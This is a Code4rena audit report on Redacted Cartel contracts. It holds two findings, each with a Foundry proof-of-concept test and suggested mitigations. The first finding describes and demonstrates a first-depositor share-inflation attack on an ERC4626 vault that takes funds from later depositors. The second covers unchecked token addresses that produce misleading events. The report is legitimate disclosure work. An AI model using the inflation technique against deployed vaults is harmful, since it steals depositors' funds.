Redacted Cartel contest - carrotsmuggler's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/PirexERC4626.sol#L60-L78

Vulnerability details

Impact

First user of the vaults can cause loss of funds for subsequent users by throwing off the share ratios. This is due to a rounding error which has to be accounted for in erc4626 vault contracts. Consider the following scenario:

1. First user deposits 1 wei of pxGlp. This mints him 1 share in return. The ratio is 1 share : 1 glp (all in wei)
2. He then sends the contract 1e18 pxGlp (1 ether of pxGlp) without minting anything. Now, the ratio in the vault is 1 share: 1e18+1 glp
3. Second user arrives and deposits 2e18 (2 ether) of pxGlp. Due to the rounding error, the second user will be minted only 1 wei of the share token. This will let him redeem half of the assets in the vault (~1.5e18 pxGlp) since both users have equal no of tokens, even though he contributed 67% of the vault.
4. First user can now redeem his 1 share and take back ~1.5e18 pxGlp, making a profit of 0.5e18 pxGlp

Proof of Concept

function testDustAttack() public {
        _setupRewardsAndTestAccounts(1);

        // Deposit dust value
        _depositToVault(testAccounts[0], 1 wei);

        // Send 1 eth to throw off ratio
        vm.startPrank(testAccounts[0]);
        pxGlp.transfer(address(autoPxGlp), 1 ether);
        vm.stopPrank();

        // Second user (victim) approaches
        _depositToVault(testAccounts[1], 2 ether);

        // Second user tries to redeem
        vm.startPrank(testAccounts[1]);
        uint256 assetval = autoPxGlp.redeem(
            autoPxGlp.balanceOf(testAccounts[1]),
            testAccounts[1],
            testAccounts[1]
        );
        uint256 lostAmt = 2 ether - assetval;
        console.log("redeemed by user1", assetval);
        console.log("lost by user1", lostAmt);
        console.log("Percentage loss:", (lostAmt * 100) / 2 ether, "%");
    }

Tools Used

Foundry

Recommended Mitigation Steps

This can be mitigated in 2 ways:

1. If the number of shares issued is below a critical limit (~ 1000 wei of share tokens), require a minimum amount of px tokens to be deposited. Or,
2. Have the DAO deposit the first few tokens, and lock in that amount by losing access to those share tokens.

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L270-L274 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L281-L298 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L373-L417

Vulnerability details

Impact

The functions globalAccrue, userAccrue and claim in PirexRewards never checks the inputted token address. This causes the contract to emit events with any random token. This won't lead to loss of funds since the rewardTokens array of a random producedr token is empty, however this will cause the contract to emit events which can be misleading for the UI/API. The contract even emits a claim event with random token addresses.

Proof of Concept

function testEvent() public {
        _setupRewardsAndTestAccounts(1);

        // Random coin
        newERC stc = new newERC();
        stc.mint(testAccounts[0], 10 ether);

        pirexRewards.globalAccrue(stc);
        pirexRewards.userAccrue(stc, address(testAccounts[0]));

        skip(1 days);

        pirexRewards.globalAccrue(stc);

        vm.expectEmit(true, true, false, false, address(pirexRewards));

        emit Claim(stc, address(testAccounts[0]));
        pirexRewards.claim(stc, testAccounts[0]);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Check if the producerToken is allowed before emitting claim event